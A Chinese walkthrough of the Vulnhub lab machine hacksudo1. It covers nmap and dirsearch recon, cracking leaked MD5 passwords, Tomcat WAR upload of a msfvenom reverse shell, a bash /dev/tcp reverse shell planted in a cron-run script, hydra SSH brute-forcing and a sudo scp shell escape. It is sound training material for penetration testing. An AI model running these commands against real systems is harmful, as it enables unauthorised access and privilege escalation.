Vulnhub靶机:hacksudo1

news2024/11/15 14:06:42

一、介绍

运行环境:Virtualbox

攻击机:kali(10.0.2.15)

靶机:hacksudo1(10.0.2.43)

目标:获取靶机root权限和flag

靶机下载地址:https://www.vulnhub.com/entry/hacksudo-101,650/

二、信息收集

使用nmap主机发现靶机ip:10.0.2.43

在这里插入图片描述

使用nmap端口扫描发现,靶机开放端口:80、2222、8080

在这里插入图片描述

80端口:打开网站分析是一个登录界面

在这里插入图片描述

直接使用dirsearch工具爆破目录,发现users.sql、info.txt文件泄露两个用户密码

在这里插入图片描述

jimit@example.com:b15fbfaac3776e5a2ad330fbf7976da7,解密:100596

admin@example.com:21232f297a57a5a743894a0e4a801fc3,解密:admin

在这里插入图片描述
在这里插入图片描述

直接使用用户名密码登录网站,但网站没有可利用的功能点

8080端口:打开网站发现是tomcat控制台,可以尝试使用之前获得的用户名密码登录

在这里插入图片描述

三、漏洞利用

使用admin:admin登录成功,可以通过war包部署上传webshell。

msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.2.15" LPORT=4444 -f war > cmdmsf.war

在这里插入图片描述

上传成功,访问上传的webshell,反弹shell

在这里插入图片描述
在这里插入图片描述

获取交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

四、提权

查看是否存在特权命令,和具有可利用的root权限的文件,未发现

find / -perm -u=s -type f 2>/dev/null

进入靶机home目录,发现靶机存在两个用户hacksudo、vishal。

把两个用户各个文件夹都翻一翻,发现/home/vishal/office目录下存在可疑文件

在这里插入图片描述
在这里插入图片描述

执行hacksudo文件,hacksudo会先设置uid为1000,并运行/home/vishal/office/manage.sh脚本,但manage.sh我们没有写权限、hacksudo文件我们没有执行权限,暂时无法利用。

发现在/home/hacksudo目录下存在getmanager可执行文件,执行可以看到和/home/vishal/office/manage.sh脚本里面的运行效果是一样的,怀疑getmanager文件其实就是/home/vishal/office目录下的hacksudo文件

在这里插入图片描述
在这里插入图片描述

根据提示可以使用hydra对两个用户的ssh进行暴力破解,暴力破解vishal成功vishal:hacker

hydra -l vishal -P /usr/share/wordlists/rockyou.txt ssh://10.0.2.43:2222  -t 64

在这里插入图片描述

使用ssh登录vishal用户

ssh vishal@10.0.2.43 -p 2222

在这里插入图片描述

未发现特权命令

现在我们有了修改manage.sh的权限,接下来我们可以修改/home/vishal/office/manage.sh脚本,运行在/home/hacksudo/getmanager文件进行提权

echo 'bash -c "bash -i >& /dev/tcp/10.0.2.15/8888 0>&1"'>manage.sh

在这里插入图片描述

直接执行getmanager反弹shell失败,再次监听端口等待一会,莫名其妙得到hacksudo权限,应该是hacksudo有计划任务,可以上传pspy64进行查看

在这里插入图片描述
在这里插入图片描述

使用hacksudo权限寻找是否存在特权命令,发现/usr/bin/scp命令,执行不需要输入密码

在这里插入图片描述

使用网站GTFOBins搜索scp命令利用方法

在这里插入图片描述

使用scp通过生成交互式系统 shell 来突破受限环境。

TF=$(mktemp)
echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
sudo scp -S $TF x y:

在这里插入图片描述

获取flag

在这里插入图片描述
在这里插入图片描述

关于vishal的密码还可以通过其他方法获得

/var/backups/hacksudo目录下存在vishal.jpg、hacksudo.zip、log.txt文件

在这里插入图片描述

可以使用cp命令将文件复制到tomcat目录/opt/tomcat/webapps/cmdmsf,在主机使用wget获取文件

发现vishal.jpg图片存在隐写

在这里插入图片描述
在这里插入图片描述

获得一组字符串

在这里插入图片描述

使用凯撒密码解密,md5解密,获得password

backup of hacksudo machine user
user vishal
password 985aa195c09fb7d64a4bb24cfe51fb1f13ebc444c494e765ee99d6c3ef46557c757787f8f5a6e0260d2e0e846d263fbfbe1311c884bb0bf9792f8778a4434327

在这里插入图片描述

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1429654.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python武器库开发-武器库篇之zip文件暴力破解(五十一)

Python武器库开发-武器库篇之zip文件暴力破解(五十一) Zip文件是一种常用的存档文件格式&#xff0c;用于将多个文件和文件夹压缩成一个单独的文件。它是一种广泛接受和支持的文件格式&#xff0c;几乎所有操作系统和计算机都能够处理Zip文件。Zip文件使用一种压缩算法来减小文…

状态流支持的状态和转换操作类型

状态操作类型 States 可以有不同的操作类型&#xff0c;包含了entry, during, exit, bind, and, on event_name 操作。状态的操作使用以下通用格式的标签表示法分配给操作类型&#xff1a; name/ entry:进入操作 during:在操作期间 exit:退出操作 bind:数据名, 事件名 on even…

使用wda框架实现IOS自动化测试详解

目录 1、weditor元素定位工具 1.1、weditor的安装和使用 2、wda iOS自动化框架 2.1、wda概述 2.2、wda安装 2.3、wda的使用 2.3.1、全局配置 2.3.2、创建客户端 2.3.3、APP相关操作 1、启动APP 2、关闭APP 3、获取APP状态信息 4、获取当前APP的运行信息 2.3.4、设…

Java自救手册

目录 访问地址 访问地址&#xff0c;发现不通&#xff0c;无法访问&#xff1a; 网络不通一般有两种情况&#xff1a; Maven 拿Maven 拿到Maven以后 Maven单独的报红 Git git注意&#xff1a; 目录 访问地址 访问地址&#xff0c;发现不通&#xff0c;无法访问&…

Python中with管理上下文

上下文管理器 上下文管理器本质就是能够支持with操作。 任何实现了 __enter__() 和 __exit__() 方法的对象都可称之为上下文管理器&#xff0c;上下文管理器对象可以使用 with 关键字。显然&#xff0c;文件&#xff08;file&#xff09;对象也实现了上下文管理器协议。 实现…

Canal 结合 SpringBoot 源码梳理

1、canal是什么&#xff0c;可以用来作什么 canal是阿里开源的一个用于监听数据库binlog&#xff0c;从而实现数据同步的工具。 2、安装 我使用的是1.1.5版本&#xff0c;太高的版本需要的jdk版本和mysql的驱动版本会更高&#xff0c;可以根据自己的环境选择。 如果是自己玩的话…

24.云原生之ArgoCD钩子

云原生专栏大纲 文章目录 Argo CD钩子如何定义钩子钩子删除策略 Argo CD钩子 Argo CD 是一个用于部署和管理 Kubernetes 应用程序的工具&#xff0c;它提供了一种声明式的方式来定义和自动化应用程序的部署过程。Argo CD 钩子&#xff08;Hooks&#xff09;是一种机制&#x…

MySQL-- if()函数 简单明了

if 主要有&#xff1a;IF函数嵌套和IF聚合函数 两类&#xff0c;主要是用来根据条件返回不同值。 基本语法为; IF(条件表达式,值1,值2)如果条件表达式为True&#xff0c;返回值1&#xff0c;为False,返回值2.返回值可以是任何值&#xff0c;比如&#xff1a;数值&#xff0c;…

消息中间件之RocketMQ源码分析(五)

消费进度保存机制 消费者启动时会同时启动位点管理器&#xff0c;RocketMQ设计了远程位点管理和本地位点管理 两种位点管理方式. 集群消费时&#xff0c;位点由客户端提交给Broker保存. 广播消费时&#xff0c;位点保存在消费者本地磁盘上 OffsetStore接口核心方法 void load(…

重写Sylar基于协程的服务器(4、协程调度模块的设计)

重写Sylar基于协程的服务器&#xff08;4、协程调度模块的设计&#xff09; 重写Sylar基于协程的服务器系列&#xff1a; 重写Sylar基于协程的服务器&#xff08;0、搭建开发环境以及项目框架 || 下载编译简化版Sylar&#xff09; 重写Sylar基于协程的服务器&#xff08;1、日…

智慧文旅:驱动文化与旅游融合发展的新动力

随着科技的快速发展和人们生活水平的提高&#xff0c;文化和旅游的融合成为了时代发展的必然趋势。智慧文旅作为这一趋势的引领者&#xff0c;通过先进的信息技术手段&#xff0c;推动文化与旅游的深度融合&#xff0c;为产业的发展注入新的活力。本文将深入探讨智慧文旅如何成…

被人疯狂吐槽的预制菜,居然是资本看重的“万亿级”市场?

被人疯狂吐槽的预制菜&#xff0c;居然是资本看重的“万亿级”市场&#xff1f; 文丨微三云营销总监胡佳东&#xff0c;点击上方“关注”&#xff0c;为你分享市场商业模式电商干货。 - 大家是不是以为只有被天天吐槽难吃的外卖和小饭店&#xff0c;才会用预制菜&#xff0c;…

【LeetCode】17. 电话号码的字母组合(中等)——代码随想录算法训练营Day25

题目链接&#xff1a;17. 电话号码的字母组合 题目描述 给定一个仅包含数字 2-9 的字符串&#xff0c;返回所有它能表示的字母组合。答案可以按 任意顺序 返回。 给出数字到字母的映射如下&#xff08;与电话按键相同&#xff09;。注意 1 不对应任何字母。 示例 1&#xff…

基于springboot校园二手书交易管理系统源码和论文

在Internet高速发展的今天&#xff0c;我们生活的各个领域都涉及到计算机的应用&#xff0c;其中包括乐校园二手书交易管理系统的网络应用&#xff0c;在外国二手书交易管理系统已经是很普遍的方式&#xff0c;不过国内的管理系统可能还处于起步阶段。乐校园二手书交易管理系统…

dubbo+sentinel最简集成实例

说明 在集成seata后&#xff0c;下面来集成sentinel进行服务链路追踪管理&#xff5e; 背景 sample-front网关服务已配置好 集成 一、启动sentinel.jar 1、官网下载 选择1:在本地启动 nohup java -Dserver.port8082 -Dcsp.sentinel.dashboard.serverlocalhost:8082 -Dp…

【C语言】数组的应用:扫雷游戏(包含扩展和标记功能)附完整源代码

这个代码还是比较长的&#xff0c;为了增加可读性&#xff0c;我们还是把他的功能分装到了test.c&#xff0c;game.c&#xff0c;game.h里面。 扫雷游戏的规则相信大家来阅读本文之前已经知晓了&#xff0c;如果点到雷就输了&#xff0c;如果不是雷&#xff0c;点到的格子会显…

Kotlin快速入门系列8

Kotlin的泛型 与Java一样&#xff0c;Kotlin也提供泛型。泛型&#xff0c;即 "参数化类型"&#xff0c;将类型参数化&#xff0c;可以用在类&#xff0c;接口&#xff0c;方法上。可以为类型安全提供保证&#xff0c;消除类型强转的烦恼。声明泛型类的格式如下&…

关于反爬虫的的概述

目录 前言 一、验证码验证 二、IP限制 三、User-Agent限制 四、动态页面加载 总结 前言 反爬虫是一种防止网站被自动程序&#xff08;爬虫&#xff09;访问和抓取数据的技术手段。在网络爬虫的发展和使用过程中&#xff0c;有一部分爬虫是用于非法获取网站数据、侵犯隐私…

重写Sylar基于协程的服务器(5、IO协程调度模块的设计)

重写Sylar基于协程的服务器&#xff08;5、IO协程调度模块的设计&#xff09; 重写Sylar基于协程的服务器系列&#xff1a; 重写Sylar基于协程的服务器&#xff08;0、搭建开发环境以及项目框架 || 下载编译简化版Sylar&#xff09; 重写Sylar基于协程的服务器&#xff08;1、…

【C/C++ 10】扫雷小游戏

一、题目 写一个扫雷小游戏&#xff0c;每次输入一个坐标&#xff0c;若该处是地雷&#xff0c;则游戏失败&#xff0c;若该处不是地雷&#xff0c;则显示周围地雷数量&#xff0c;若扫除全部非地雷区域&#xff0c;则扫雷成功。 二、算法 设置两张地图&#xff08;二维数组&…